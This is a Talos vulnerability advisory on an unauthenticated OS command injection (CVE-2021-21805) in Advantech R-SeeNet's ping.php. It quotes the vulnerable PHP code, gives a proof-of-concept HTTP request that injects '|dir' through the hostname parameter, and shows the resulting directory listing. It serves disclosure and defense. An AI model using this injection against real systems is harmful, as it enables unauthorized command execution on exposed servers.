Talos Vulnerability Report

TALOS-2021-1274

Advantech R-SeeNet ping.php OS Command Injection vulnerability

JULY 15, 2021

CVE NUMBER

CVE-2021-21805

Summary

An OS Command Injection vulnerability exists in the ping.php script functionality of Advantech R-SeeNet v 2.4.12 (20.10.2020). A specially crafted HTTP request can lead to arbitrary OS command execution. An attacker can send a crafted HTTP request to trigger this vulnerability.

Tested Versions

Advantech R-SeeNet 2.4.12 (20.10.2020)

Product URLs

https://ep.advantech-bb.cz/products/software/r-seenet

CVSSv3 Score

9.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-78 - Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’)

Details

R-SeeNet is the software system used for monitoring Advantech routers. It continuously collects information from individual routers in the network and records the data into a SQL database.

This vulnerability is present in ping.php script, which is a part of the Advantech R-SeeNet web applications. A specially crafted HTTP request sent by an attacker can lead to arbitrary OS command execution.

The ping.php script accepts `hostname` parameter coming from the user via http request and is accessible without any authorization:

```
php/ping.php
Line 12   if(isset($_GET['hostname']) && ($_GET['hostname'] != ''))
Line 13   {  // hostname zadano
Line 14          $hostname = $_GET['hostname'];
Line 15   }
```

The parameter is not sanitized in a context of OS Command Injection and further used directly in `popen` function:

```
php/ping.php
Line 116          else
Line 117          { // jedeme na linuxu, kvuli bezpecnostnim pravidlum jsme odkazani na program ping
Line 118                echo "             <tr>\n";
Line 119                echo "               <td>\n";
Line 120                echo "                 <pre>\n";
Line 121                $content = '';
Line 122                $fd = popen("ping -c ".$cfg['ping_count']." -s 64 -t 64 ".$hostname,"r");
Line 123                if(!$fd)
Line 124                {
Line 125                  $content = 'Ping not available.';
Line 126                }
Line 127                else
Line 128                {
Line 129                  while(!feof($fd)) {
Line 130                        $content = $content.fread($fd, 1024);
Line 131                  }
Line 132                  pclose($fd);
Line 133                }
Line 134                echo($content);
```

Request example

```
GET /php/ping.php?hostname=|dir HTTP/1.1\r\n
Host: 192.168.153.134\r\n
Connection: keep-alive\r\n
Upgrade-Insecure-Requests: 1\r\n
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36\r\n
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-
exchange;v=b3;q=0.9\r\n
Accept-Encoding: gzip, deflate\r\n
Accept-Language: pl-PL,pl;q=0.9,en-US;q=0.8,en;q=0.7\r\n
Cookie: PHPSESSID=ppe11sb53oqa82d3o0trtkllr0\r\n
\r\n
[Full request URI: http://192.168.153.134/php/ping.php?hostname=|dir]
[HTTP request 1/1]
[Response in frame: 33]



Response

HTTP/1.1 200 OK
Date: Mon, 08 Mar 2021 19:23:12 GMT
Server: Apache/2.2.17 (Win32) mod_ssl/2.2.17 OpenSSL/0.9.8o PHP/5.3.4
X-Powered-By: PHP/5.3.5
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=utf-8

368
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
  <head>
        <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
        <meta name="description" content="TODO - info">
        <meta http-equiv="pragma" content="no-cache">
        <meta http-equiv="cache-control" content="no-cache">
        <title>Ping |dir</title>
        <link rel='stylesheet' href='css/style.css' type='text/css'>
        <link rel='stylesheet' href='css/wait_indicator.css' type='text/css'>
        <script src="js/wait_indicator.js" type="text/javascript"></script>
  </head>
  <body onload="ind_off()" class="new_window">
  <!-- dialog -->
        <div class="wait_dialog" id="wait_table" style="visibility: visible">
        </div>

        <table width="530px">
          <tr>
                <th>Ping</th>
          </tr>
          <tr>
                <td>
                  <table width="100%">

186a
                        <tr>
                          <td>
                                <pre>
 Volume in drive C has no label.
 Volume Serial Number is B67A-CF0F

 Directory of C:\R-SeeNet\htdocs\php

03/05/2021  06:02 PM    <DIR>          .
03/05/2021  06:02 PM    <DIR>          ..
03/03/2017  06:07 PM             6,231 about_form.php
06/25/2013  03:48 PM             3,460 add_company_form.php
10/05/2014  01:20 PM            15,483 add_device_form.php
03/08/2017  01:18 PM             8,186 add_group_form.php
09/09/2014  04:41 PM            12,156 add_user_form.php
06/25/2013  03:48 PM             8,266 appearance_opt.php
03/06/2012  02:18 PM               482 bottom.php
10/17/2016  01:36 PM             4,626 cfg.php
06/07/2012  07:39 AM             1,538 check_user.php
06/25/2013  03:48 PM             6,603 company_change.php
09/10/2020  09:10 AM            14,792 company_list.php
03/04/2021  04:43 PM               657 csv_export.php
05/04/2012  06:26 AM             4,999 daily_report.php
(...)
```

For testing purposes condition in `line 59 if(getenv("OS")=="Windows_NT")` has been changed to trigger this vuln on Windows platform.

Timeline

2021-03-11 - Initial contact with vendor

2021-03-14 - Advisory issued to CISA

2021-04-13 - Follow up with vendor & CISA

2021-06-07 - Follow up with vendor & CISA (no response)

2021-06-22 - Final 90 day notice issued

2021-07-15 - Public Disclosure

CREDIT

Member of the Cisco Talos team
